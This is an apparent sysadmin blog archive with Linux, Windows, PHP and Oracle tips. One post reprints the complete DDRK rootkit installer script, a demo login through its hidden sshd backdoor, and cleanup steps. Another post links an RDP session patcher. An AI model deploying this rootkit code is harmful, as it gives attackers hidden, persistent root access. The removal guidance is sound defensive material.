2012年11月12日 星期一

排程存檔位置

Redhat 記錄排程的內容存存放的位置是 
crontab 放在 /var/spool/cron/user 帳號
/var/spool/at 放在 /var/spool/at/亂數檔名

2012年10月26日 星期五

dirname 字串處理

dirname是在Linux上,用來顯示檔案所處的路徑,使用上必須在命令後面加上字串,這個字串是檔案的完整路徑,也就是 "路徑+檔名" 的形式,如:

 "path/to/checkfile.txt"

所以我們只要取得路徑名稱時,只要使用下列命令,

  dirname "path/to/checkfile.txt"

這個命令的結果會顯示出 path/to。

以上資料摘自http://pickerwengs.blogspot.tw/2011/10/dirnamelinux-pathtocheckfile.html

2012年10月6日 星期六

Windows7 (win7) 更新 SP1 後減肥大法 (winsxs Cleanup)


Windows 7 更新SP1後 , winsxs 會跟著變肥許多 , 大概會增加近 4GB !!

Windows 7 更信系統檔案後 , 預設都會儲存更新過的舊版系統檔案 , 這些造成系統碟增肥的檔案其實是可以刪除的 , 只是刪除後就不能解除安裝 Windows 7 SP1 , 建議 SP1 升級幾日後 , 程式都沒什麼問題再執行這個動作 (既然是升級 , 我是升級完就立刻執行了)

1.Win7 搜尋列輸入 cmd , 然後在 上方出現的 cmd 上按滑鼠右鍵 , 選擇 以系統管理員身份執行



2.出現「您是否要允許下列程式變更這部電腦」的訊息 , 請選擇 



3.輸入指令:dism /online /cleanup-image /spsuperseded
等待出現操作順利完成 , 就可以關閉了
4.減肥前後大概可省下近 4GB 空間
Windows7 (win7) 更新 SP1 後減肥大法 (winsxs Cleanup)

以上資料摘自http://www.pczone.com.tw/vbb3/thread/3/153206/

2012年10月5日 星期五

啟用 Windows 7 家用進階版 (包含SP1) 遠端桌面連線被控端


Windows 7 Professional 版本以上可以當成遠端桌面連線被控端。
但是,一般電腦買來都只是家用進階版(Home Premium)而已,好消息是只要下載下面的小工具即可啟用遠端桌面連線被控端喔。
你的Windows 7 家用進階版還未升級為SP1的話,兩個都可以用,但是如果已升級為SP1,請使用 Concurrent RDP Patcher.zip 這個工具。

Windows 7 Home Premium Edition 的情況:
使用方式及注意事項:
1.以系統管理員的身分執行Install.cmd這個檔案
2.Do you wish to enable multiple sessions per user?
    請回答N
3.Do you wish to enable blank password logon?
    請回答N
4.可以使用囉!!

Windows 7 Home Premium Edition SP1 的情況:
資料來源:Windows Entertainment and Connected Home -> Windows 7 Media Center -> Windows 7 RTM concurrent remote desktop patch
工具下載:Concurrent RDP Patcher
使用方式及注意事項:
1.解壓縮後,以系統管理員的身分執行
2.選項都不要勾選,直接點下Patch即可!!

2012年9月11日 星期二

Linux下rootkit-ddrk攻击获得root权限以及清除方法

今天在主機上面喵到一隻程式名為ttyload,查了一下竟是一隻rootkit 工具...


DDRK是一个Linux结合shv和adore-ng优点,内核级别的rootkit。
DDRK中包含的文件:
netstat  #替换系统中的netstat,从ssh配置文件中读取端口并隐藏
rk.ko  #内核模块,实现文件和进程的隐藏功能
setup  #rootkit安装文件
tty  #ava工具
bin.tgz
         —ttymon
         —sshd.tgz
                   —.sh
                            —shdcf2  #sshd配置文件
                            —shhk
                            —shhk.pub
                            —shrs
                            —sshd  #sshd主程序
因此只要把这些文件上传到服务器上并成功运行,就可以获得该服务器的root权限。为所欲为,无所不能。
setup内容如下:
#!/bin/bash
##########define variables##########
DEFPASS=123456    //默认密码
DEFPORT=43958    //默认端口
BASEDIR=`pwd`
SSHDIR=/lib/libsh.so
HOMEDIR=/usr/lib/libsh
unset HISTFILE;unset HISTSIZE;unset HISTORY;unset HISTSAVE;unset HISTFILESIZE
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
##########check is root##########
if [ "$(whoami)" != "root" ]; then
   echo “BECOME ROOT AND TRY AGAIN”
   echo “”
   exit
fi
##########extract all tar##########
tar zxf bin.tgz
cd bin
tar zxf sshd.tgz
rm -rf ./sshd.tgz
cd $BASEDIR
rm -rf bin.tgz
cd $BASEDIR
##########kill syslogd##########
killall -9 syslogd >/dev/null 2>&1
sleep 2
##########remove sh.conf##########
if [ -f /etc/sh.conf ]; then
  rm -rf /etc/sh.conf         //经过md5sum加密过的密码文件
fi
##########initialize sshd configuration##########
if test -n “$1″ ; then
   echo “Using Password : $1″
   cd $BASEDIR/bin
   echo -n $1|md5sum > /etc/sh.conf
else
   echo “No Password Specified, using default – $DEFPASS”
   echo -n $DEFPASS|md5sum > /etc/sh.conf
fi
touch -acmr /bin/ls /etc/sh.conf
chown -f root:root /etc/sh.conf
if test -n “$2″ ; then
   echo “Using ssh-port : $2″
   echo “Port $2″ >> $BASEDIR/bin/.sh/sshd_config
   cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config ; rm -rf $BASEDIR/bin/.sh/shdcf2
   mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf
else
   echo “No ssh-port Specified, using default – $DEFPORT”
   echo “Port $DEFPORT” >> $BASEDIR/bin/.sh/sshd_config
   cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config ; rm -rf $BASEDIR/bin/.sh/shdcf2
   mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf
fi
###########creating dirs##########
SSHDIR=/lib/libsh.so
HOMEDIR=/usr/lib/libsh
if [ -d /lib/libsh.so ]; then
   rm -rf /lib/libsh.so
fi
if [ -d /usr/lib/libsh ]; then
   rm -rf /usr/lib/libsh/*
fi
mkdir $SSHDIR
touch -acmr /bin/ls $SSHDIR
mkdir $HOMEDIR
touch -acmr /bin/ls $HOMEDIR
cd $BASEDIR/bin
mv .sh/* $SSHDIR/
mv .sh/.bashrc $HOMEDIR
if [ -f /sbin/ttyload ]; then
   chattr -AacdisSu /sbin/ttyload
   rm -rf /sbin/ttyload
fi
if [ -f /usr/sbin/ttyload ]; then
   rm -rf /usr/sbin/ttyload
fi
if [ -f /sbin/ttymon ]; then
   rm -rf /sbin/ttymon
fi
mv $SSHDIR/sshd /sbin/ttyload
chmod a+xr /sbin/ttyload
chmod o-w /sbin/ttyload
touch -acmr /bin/ls /sbin/ttyload
kill -9 `pidof ttyload` >/dev/null 2>&1
mv $BASEDIR/bin/ttymon /sbin/ttymon
chmod a+xr /sbin/ttymon
touch -acmr /bin/ls /sbin/ttymon
kill -9 `pidof ttymon` >/dev/null 2>&1
cp /bin/bash $SSHDIR
##########modify inittab##########
cp /etc/inittab /etc/.inittab
sed -e ’s@^1:2345@0:2345:once:/usr/sbin/ttyload\n&@’ /etc/inittab > /etc/.inittab
touch -acmr /etc/inittab /etc/.inittab
mv -f /etc/.inittab /etc/inittab
echo “/sbin/ttyload -q > /dev/null 2>&1″ > /usr/sbin/ttyload
echo “/sbin/ttymon > /dev/null 2>&1″ >> /usr/sbin/ttyload
echo “${HOMEDIR}/tty i \`pidof ttyload\` > /dev/null 2>&1″ >> /usr/sbin/ttyload
echo “${HOMEDIR}/tty i \`pidof ttymon\` > /dev/null 2>&1″ >> /usr/sbin/ttyload
touch -acmr /bin/ls /usr/sbin/ttyload
chmod 755 /usr/sbin/ttyload
/usr/sbin/ttyload > /dev/null 2>&1
touch -amcr /bin/ls /etc/inittab
###########make sure inittab has modified##########
if [ ! "`grep ttyload /etc/inittab`" ]; then
   echo “# WARNING – SSHD WONT BE RELOADED UPON RESTART ”
   echo “# inittab shuffling probly fucked-up ! ”
fi
##########load rk.ko##########
cd $BASEDIR
modprobe -r ehci-hcd
mv -f rk.ko /lib/modules/`uname -r`/kernel/drivers/usb/host/ehci-hcd.ko
modprobe ehci-hcd
mv tty $HOMEDIR
##########replace netstat##########
touch -acmr /bin/netstat netstat
mv -f netstat /bin/netstat
##########hide all files and process##########
$HOMEDIR/tty h /etc/sh.conf > /dev/null 2>&1
$HOMEDIR/tty h /lib/libsh.so > /dev/null 2>&1
$HOMEDIR/tty h /usr/lib/libsh > /dev/null 2>&1
$HOMEDIR/tty h /sbin/ttyload > /dev/null 2>&1
$HOMEDIR/tty h /usr/sbin/ttyload > /dev/null 2>&1
$HOMEDIR/tty h /sbin/ttymon > /dev/null 2>&1
$HOMEDIR/tty i `pidof ttyload` > /dev/null 2>&1
$HOMEDIR/tty i `pidof ttymon` > /dev/null 2>&1
##########load rk.ko on boot##########
cat > /etc/sysconfig/modules/ehci.modules << EOF
#!/bin/sh
#install usb modules support
modprobe -r ehci-hcd
modprobe ehci-hcd
EOF
touch -amcr /bin/ls /etc/sysconfig/modules/ehci.modules
chmod 755 /etc/sysconfig/modules/ehci.modules
$HOMEDIR/tty h /etc/sysconfig/modules/ehci.modules > /dev/null 2>&1
##########check iptables setting##########
if [ -f /sbin/iptables ]; then
   echo “`/sbin/iptables -L INPUT | head -5`”
else
   echo “”
   echo “# lucky for u no iptables found”
fi
##########start syslogd##########
/sbin/syslogd -m 0

# ./setup 123 3333    //设置密码为123,端口号为3333
Using Password : 123
Using ssh-port : 3333
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
隐藏效果查看:
查看进程
# ps -ef | egrep -i “ttyload|ttymon”
root     24761 17990  0 13:29 pts/2    00:00:00 egrep -i ttyload|ttymon
查看端口
# netstat -ntplu
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name
tcp        0      0 127.0.0.1:2208              0.0.0.0:*                   LISTEN      2117/hpiod
-                   tcp        0      0 0.0.0.0:3306                0.0.0.0:*                   LISTEN      2267/mysqld
tcp        0      0 0.0.0.0:43958               0.0.0.0:*                   LISTEN      -
tcp        0      0 127.0.0.1:631               0.0.0.0:*                   LISTEN      2134/cupsd
tcp        0      0 127.0.0.1:25                0.0.0.0:*                   LISTEN      2295/sendmail: acce
tcp        0      0 127.0.0.1:2207              0.0.0.0:*                   LISTEN      2122/python
udp        0      0 0.0.0.0:32768           0.0.0.0:*                           2417/avahi-daemon:
udp        0      0 0.0.0.0:68              0.0.0.0:*                           19752/dhclient
udp        0      0 0.0.0.0:5353            0.0.0.0:*                           2417/avahi-daemon:
udp        0      0 0.0.0.0:631             0.0.0.0:*                           2134/cupsd
查看加载模块
# lsmod | grep -i ehci-hcd
查看rootkit相关文件
# ls -dl /lib/libsh.so  /usr/lib/libsh  /etc/sh.conf  /sbin/ttyload  /sbin/ttymon    /bin/ttymon /usr/sbin/ttyload
ls: /bin/ttymon: No such file or directory
-rw-r–r– 1 2618748389 4063569279     36 Nov 28  2006 /etc/sh.conf
drwxr-xr-x 2 2618748389 4063569279   4096 May 11 13:28 /lib/libsh.so
-rwxr-xr-x 1 2618748389 4063569279 212747 Nov 28  2006 /sbin/ttyload
-rwxrwxr-x 1 2618748389 4063569279  93476 Nov 28  2006 /sbin/ttymon
drwxr-xr-x 2 2618748389 4063569279   4096 May 11 13:28 /usr/lib/libsh
-rwxr-xr-x 1 2618748389 4063569279    171 Nov 28  2006 /usr/sbin/ttyload
查看/etc/inittab文件
# Run gettys in standard runlevels
0:2345:once:/usr/sbin/ttyload
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6
验证:
已攻破并成功执行的主机IP为:192.168.27.129
从另一台登录192.168.27.129,密码为123,端口号为3333
[root@localhost ~]# ssh 192.168.27.129 -p 3333
Last login: Thu Nov 11 11:20:59 2010 from 192.168.27.1
[sh]  w.e.l.c.o.m.e
[sh]  To The DoDo’s Rootkit
[root@DoDo:/root]# 
[root@DoDo:/root]# env
TERM=xterm
SHELL=/bin/bash
SSH_CLIENT=192.168.27.130 38824 3333
SSH_TTY=/dev/pts/3
USER=root
LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:
mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.
csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:
*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp
=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:
MAIL=/var/spool/mail/root
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:/usr/local/sbin:/usr/lib/libs:.
PWD=/root
MACHINE=DoDo
PS1=\[\033[0;36m\][$ID@\[\033[1;37m\]$MACHINE\[\033[0m\]\[\033[0;36m\]:${PWD}]#\[\033[0m\]
SHLVL=1
HOME=/usr/lib/libsh
ID=root
LOGNAME=root
_=/bin/env
至此,就可以完全控制192.168.27.129了。
到192.168.27.129上查看登录用户:
# w
 13:40:55 up  3:40,  0 users,  load average: 1.23, 0.93, 0.77
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
只有本地用户。
清除方法:
# cd /usr/lib/libsh
# modprobe -r ehci-hcd
# ./tty u /etc/sysconfig/modules/ehci.modules
Checking for adore  0.12 or higher …
Failed to authorize myself. No luck, no adore?
Adore NOT installed. Exiting.
# rm -rf /etc/sysconfig/modules/ehci.modules
# rm -rf /lib/modules/`uname -r`/kernel/drivers/usb/host/ehci-hcd.ko
 # ./tty u /etc/sh.conf
Checking for adore  0.12 or higher …
Failed to authorize myself. No luck, no adore?
Adore NOT installed. Exiting.
#  ./tty u /lib/libsh.so
Checking for adore  0.12 or higher …
Failed to authorize myself. No luck, no adore?
Adore NOT installed. Exiting.
#  ./tty u /sbin/ttyload
Checking for adore  0.12 or higher …
Failed to authorize myself. No luck, no adore?
Adore NOT installed. Exiting.
# ./tty u /usr/sbin/ttyload
Checking for adore  0.12 or higher …
Failed to authorize myself. No luck, no adore?
Adore NOT installed. Exiting.
#  ./tty u /sbin/ttymon
Checking for adore  0.12 or higher …
Failed to authorize myself. No luck, no adore?
Adore NOT installed. Exiting.
# rm -rf /etc/sh.conf /lib/libsh.so /usr/lib/libsh /sbin/ttyload /usr/sbin/ttyload /sbin/ttymon
# rm –rf /bin/netstat
# vim /etc/inittab 去掉0:2345:once:/usr/sbin/ttyload
其实,还应该检查系统漏洞在何处,以绝后患。
本文出自 “燕雀安知鸿鹄之志哉” 博客
文件直接進行刪除時會出現Operation not permitted
,可以參考我的删除文件提示:Operation not permitted 這一篇


删除文件提示:Operation not permitted


http://www.pcdog.com/edu/linux/02/01/t314262.html

删除文件提示:Operation not permitted
来源: 作者:佚名 2007-12-30 出处:pcdog.com



freebsd
系统管理员
linux



  一些文件看上去可能一切正常,但当您尝试删除的时候,居然也会报错,就象下边一样:
 
  [root@linux236 root]# ls -l 1.txt
 
  -rw-r——r—— 1 root root 0 Aug 5 23:00 1.txt
 
  [root@linux236 root]# rm -rf 1.txt
 
  rm: cannot unlink `1.txt': Operation not permitted
 
  您是全能root用户,居然系统告诉您操作不允许,是Linux疯了么?当然不是,如果您会用lsattr命令,问题就有了答案。
 
  [root@linux236 root]# lsattr
 
  ——i—— ./1.txt
 
 -------------- ./weiqi.ldif
 -------------- ./qi.schema
 
  秘密终于暴露了,在lsattr命令下,这个1.txt文件带有一个"i"的属性,所以才不可以删除。您现在可以用下边的一系列命令:
 
  [root@linux236 root]# lsattr 1.txt
 
  ——i—— 1.txt
 
  [root@linux236 root]# chattr -i 1.txt
 
  [root@linux236 root]# rm -rf 1.txt
 
  [root@linux236 root]#
 
  成功了,这个属性专门用来保护重要的文件不被删除,通常的情况下,懂得用这几个命令的通常系统管理员有能力判断这个文件是否可以被删除。如果您想给一个文件多加点保护,可以使用下边的命令:
 
  chattr +i filename
 
  命令,这样一来,想要删除这个文件就要多一个步骤。同时,这样的文件也是不可以编辑和修改的。只有root用户才能使用chattr命令。此命令可以在Linux ext2或ext3系统上使用。
 
  类似于和Windows文件系统,不能随意删除的文件多半都有其道理,即使您知道如何删除,都应该三思而后行。
 
  freebsd chflags
 
  用法:chflags [参数] 关键词 档案
 
  常用关键词:
 
  schg 档案完全无法被修改(super-user only)。noschg(Anti)
 
  sappend 档案內容只能用附加(append)的方式修改(super-user only)。nosappend(Anti)
 
  sunlink 档案无法被刪除或者重命名(super-user only)。nosunlink(Anti)
 
  uchg 档案完全无法被修改(super-user only 或者一般使用者)。nouchg(Anti)
 
  uappend 档案內容只能用附加(append)的方式修改(super-user only 或者一般使用者)。uappend(Anti)
 
  uunlink 档案无法被刪除或者重命名(super-user only 或者一般使用者)。nouunlink(Anti)
 
  uchg 用于文件时,owner 不能修改文件,也不能删除文件或者对文件重命名;nouchg(Anti)
 
  uappend 用于文件时,owner 只能以 append 的方式修改文件,不能删除文件或者对文件重命名;uunlink 用于文件时,owner 可以对文件进行修改,但不能删除文件或者对文件重命名。nouappend(Anti)
 
  uchg 用于目录时,owner 不能删除目录或者重命名目录,可以修改目录中已有的文件,但不能在目录中添加文件,也不能删除目录中的文件或者对其重命名;uappend 用于目录时,owner 不能删除目录或者重命名目录,可以修改目录中已有的文件和在目录中添加文件,不能删除目录中的文件或者对其重命名;uunlink 用于目录时,owner 不能删除目录或者重命名目录,可以修改目录中已有的文件和在目录中添加文件,也可以删除目录中的文件或者对其重命名。
 
  结论:uchg>uappend>uunlink.

2012年8月23日 星期四

Linux History加上時間戳記

vim /etc/profile

HOSTNAME=`/bin/hostname`
HISTSIZE=1000

在以上內容加入下面這二行

HISTTIMEFORMAT='<%F %T>:'
export HISTTIMEFORMAT

馬上生效方式:  source /etc/profile

2012年7月22日 星期日

Exchange 2003 郵件大小限制

Exchange 2003 中,我把整个组织中发送邮件的大小设置成 5MB 左右,收件设置成 10MB 左右,并且在其他地方,database, 连接器和用户上不设置大小限制,你认为这台 Exchange 最大能收到多大的邮件?


相信有很多人认为收到的最大邮件应该是10MB。


实践是检验真理的唯一标准 :) 我们发送一封 7MB 左右的信来测试一下。
我用组织外的一台服务器给前面那个Exchange 发信,加了一个 7MB 的附件,却收到退信。
错误显示这封邮件超过了对方服务器设置的大小限制,或者收件人的信箱满了。

你有可能会在事件日志里收到类似这种信息:
A message from 'smtp:user@domain.com could not be delivered because the message size (13424K) is larger than the global settings for maximum sending message size (9000K). This is due to a message delivery restriction configured for the organisation. (Message-ID: E6D30DA6425327438344D01CA1B8A8B236AEDDF334@domain.com). A DSN will be generated for all the intended recipients.
<注:我在自己的机器上没有收到这个event, 这个是别的机器上的。意思是:因为你发送信件的大小比对方发送邮件的限制大> 
这个信息报的比较准确,确实是因为对方发送邮件的限制,而不是因为对方接受邮件的限制。也就是说,发送邮件的限制会影响到接收邮件的大小,为什么呢? 
这是因为Exchange 的分类器 (categorizer)是不分发送和接收的,两个选项都会被分类器所使用。看KB 298572吧:

2012年5月21日 星期一

詳細學習PHP的日期時間函數date()



1,年-月-日

echo date('Y-m-j');
2007-02-6

echo date('y-n-j');
07-2-6

大寫Y表示年四位元數字,而小寫y表示年的兩位元數字;
小寫m表示月份的數字(帶前導),而小寫n則表示不帶前導的月份數字。

echo date('Y-M-j');
2007-Feb-6

echo date('Y-m-d');
2007-02-06

大寫M表示月份的3個縮寫字元,而小寫m則表示月份的數字(帶前導0);
沒有大寫的J,只有小寫j表示月份的日期,無前導o;若需要月份帶前導則使用小寫d。

echo date('Y-M-j');
2007-Feb-6

echo date('Y-F-jS');
2007-February-6th

大寫M表示月份的3個縮寫字元,而大寫F表示月份的英文全寫。(沒有小寫f)
大寫S表示日期的尾碼,比如“st”、“nd”、“rd”和“th”,具體看日期數字為何。

小結:
表示年可以用大寫的Y和小寫y;
表示月可以用大寫F、大寫M、小寫m和小寫n(分別表示字元和數位的兩種方式);
表示日可以用小寫d和小寫j,大寫S表示日期的尾碼。


2,時:分:秒

默認情況下,PHP解釋顯示的時間為“格林威治標準時間”,與我們本地的時間相差8個小時。

echo date('g:i:s a');
5:56:57 am

echo date('h:i:s A');
05:56:57 AM

小寫g表示12小時制,無前導0,而小寫h則表示有前導0的12小時制。
當使用12小時制時需要表明上下午,小寫a表示小寫的“am”和“pm”,大寫A表示大寫的“AM”和“PM”。

echo date('G:i:s');
14:02:26

大寫G表示24小時制的小時數,但是不帶前導的;使用大寫的H表示帶前導的24小時制小時數

小結:
字母g表示小時不帶前導,字母h表示小時帶前導;
小寫g、h表示12小時制,大寫G、H表示24小時制。

3,閏年、星期、天

echo date('L');
今年是否閏年:0

echo date('l');
今天是:Tuesday

echo date('D');
今天是:Tue

大寫L表示判斷今年是否閏年,布林值,為真返回1,否則為0;
小寫l表示當天是星期幾的英文全寫(Tuesday);
而使用大寫D表示星期幾的3個字元縮寫(Tue)。

echo date('w');
今天星期:2

echo date('W');
本周是全年中的第 06 周

小寫w表示星期幾,數位形式表示
大寫W表示一年中的星期數

echo date('t');
本月是 28 天

echo date('z');
今天是今年的第 36 天

小寫t表示當前月份又多少天
小寫z表示今天是本年中第幾天

4,其他

echo date('T');
UTC
大寫T表示伺服器的時間區域設置

echo date('I');
0
大寫I表示判斷當前是否為夏令時,為真返回1,否則為0

echo date('U');
1170769424
大寫U表示從1970年1月1日到現在的總秒數,就是Unix時間紀元的UNIX時間戳。

echo date('c');
2007-02-06T14:24:43+00:00
小寫c表示ISO8601日期,日期格式為YYYY-MM-DD,用字母T來間隔日期和時間,時間格式為HH:MM:SS,時區使用格林威治標準時間(GMT)的偏差來表示。

2012年5月7日 星期一

Linux 下觀查網路流量

在Linux 下想要觀查網路流量,一般來說會會跟你說是用MRTG來看
但mrtg要架起來到能看,需要很多道的手續,這幾天突發奇想,看看有沒有可以用Linux Script就可以解決的方法。

其實是有的 cat /proc/net/dev

當然~這不是給"人"看的....
這還需要作一些加工,可以把以下Script 存成執行的Bash Script
================================================

#!/bin/bash
#
# SCRIPT:
#
#
INTERFACE=$1
Interval=$2
if ( [[ $Interval == ""  ]] ) ;then
        #Default Interval Time
        Interval=5
fi

if ( [[ $INTERFACE != "" ]] ) ; then
        while [[ A == A ]]
        do
                INITTRR=`cat /proc/net/dev|grep $INTERFACE`
                INITTRR_RxBytes=`echo $INITTRR|awk '{print $1}'|awk -F":" '{print $2}'`
                INITTRR_RxPack=`echo $INITTRR|awk '{print $2}'`
                INITTRR_TxBytes=`echo $INITTRR|awk '{print $9}'`
                INITTRR_TxPack=`echo $INITTRR|awk '{print $10}'`

                sleep $Interval

                ENDTRR=`cat /proc/net/dev|grep $INTERFACE`
                ENDTRR_RxBytes=`echo $ENDTRR|awk -F" " '{print $1}'|awk -F":" '{print $2}'`
                ENDTRR_RxPack=`echo $ENDTRR|awk '{print $2}'`
                ENDTRR_TxBytes=`echo $ENDTRR|awk '{print $9}'`
                ENDTRR_TxPack=`echo $ENDTRR|awk '{print $10}'`

                RESULT_RxBytes=$((( $ENDTRR_RxBytes-$INITTRR_RxBytes ) /$Interval/1024 ))
                RESULT_RxPack=$(( $ENDTRR_RxPack-$INITTRR_RxPack ))
                RESULT_TxBytes=$((( $ENDTRR_TxBytes-$INITTRR_TxBytes ) /$Interval/1024 ))
                RESULT_TxPack=$(( $ENDTRR_TxPack-$INITTRR_TxPack ))

                echo -e "$INTERFACE `date +%H:%M:%S` \t RxBytes:$RESULT_RxBytes KB/s \t TxBytes:$RESULT_TxBytes KB/s \t RxPack:$RESULT_RxPack \t TxPack:$RESULT_TxPack \t"
        done
else
        echo "Ex. $0 interface Interval"
        echo "interface name:" `cat /proc/net/dev|grep :|awk -F":" '{print $1}'`
        echo "Interval:1-999 Sec,default 5 sec"
fi
================================================
這樣就可以看到主機的網路流量囉

2012年4月25日 星期三

Oracle XP-00003: no storage definition found for segment


今天在嘗試用9204EXP匯出10203資料的時候,出現了EXP-3錯誤:EXP-00003: no storage definition found for segment(41, 6024)

查詢了一下METALINK,發現9205版本之前的EXP用戶端,匯出9205以上版本的資料時,如果表中包含LOB欄位,或者表中的EXTENT超過一個,則會導致EXP-00003錯誤。

造成問題的原因是由於Oracle9205及以上版本中,解決了一個查詢DBA_SEGMENTSBYTES/EXTENTS/BLOCKS列速度緩慢的錯誤。而解決這個bug的代價就是9204及以下版本在匯出高版本資料時會碰到EXP-3這個錯誤。

具體的相關資訊可以查詢METALINK

Bug 2948717 : Queries against DBA_SEGMENTS can be slow accessing BYTES/BLOCKS/EXTENTS columns

Bug 3593227 "EXP-3 WHEN EXPORTING A TABLE WITH MORE THAN 1 EXTENT USING EXP BELOW 9.2.0.5"

Bug 3784697 "EXPORT OF LOB FROM 9205 WITH PRE-9205 EXP GIVES EXP-3 (NO STORAGE DEF FOUND)"

解決問題的方法到是不算複雜:

如果匯出不包含LOB欄位,那麼可以將EXP語句中的COMPRESS參數設置為Y,重新執行匯出即可。

如果包含LOB欄位,或者上面的方法無效,那麼需要對匯出庫修改exu9tne視圖。在匯出完成後,再將該視圖恢復。
如果包含LOB,或者必須設置COMPRESS=Y,可以先用SYS修改exu9tne視圖,再匯出結束後,再將其恢復。
oracle$sqlplus

SQL> SET LONG 10000
SQL> select dbms_metadata.get_ddl('VIEW', 'EXU9TNE') FROM DUAL;

DBMS_METADATA.GET_DDL('VIEW','EXU9TNE')
------------------------------------------------------------------------------

CREATE OR REPLACE FORCE VIEW "SYS"."EXU9TNE" ("TSNO", "FILENO", "BLOCKNO", "LENGTH") AS
SELECT ts#, segfile#, segblock#, length
FROM sys.uet$
WHERE ext# = 1


SQL> CREATE OR REPLACE VIEW EXU9TNE (TSNO, FILENO, BLOCKNO, LENGTH) AS
2 SELECT TS#, SEGFILE#, SEGBLOCK#, LENGTH
3 FROM SYS.UET$
4 WHERE EXT# = 1
5 UNION ALL
6 SELECT * FROM EXU9TNEB;

View created.

SQL> HOST
exp yangtk/yangtk@yangtk file=test10203.dmp buffer=20480000 compress=n
[oracle@demo2 oracle]$ exit
exit

SQL> CREATE OR REPLACE VIEW EXU9TNE (TSNO, FILENO, BLOCKNO, LENGTH) AS
2 SELECT TS#, SEGFILE#, SEGBLOCK#, LENGTH
3 FROM SYS.UET$
4 WHERE EXT# = 1
5 ;

View created.

SQL> exit


以前這個問題遇見在一個windows 9205RAC上遇見過,直接修改的ext9tuneview解決了問題,呵呵!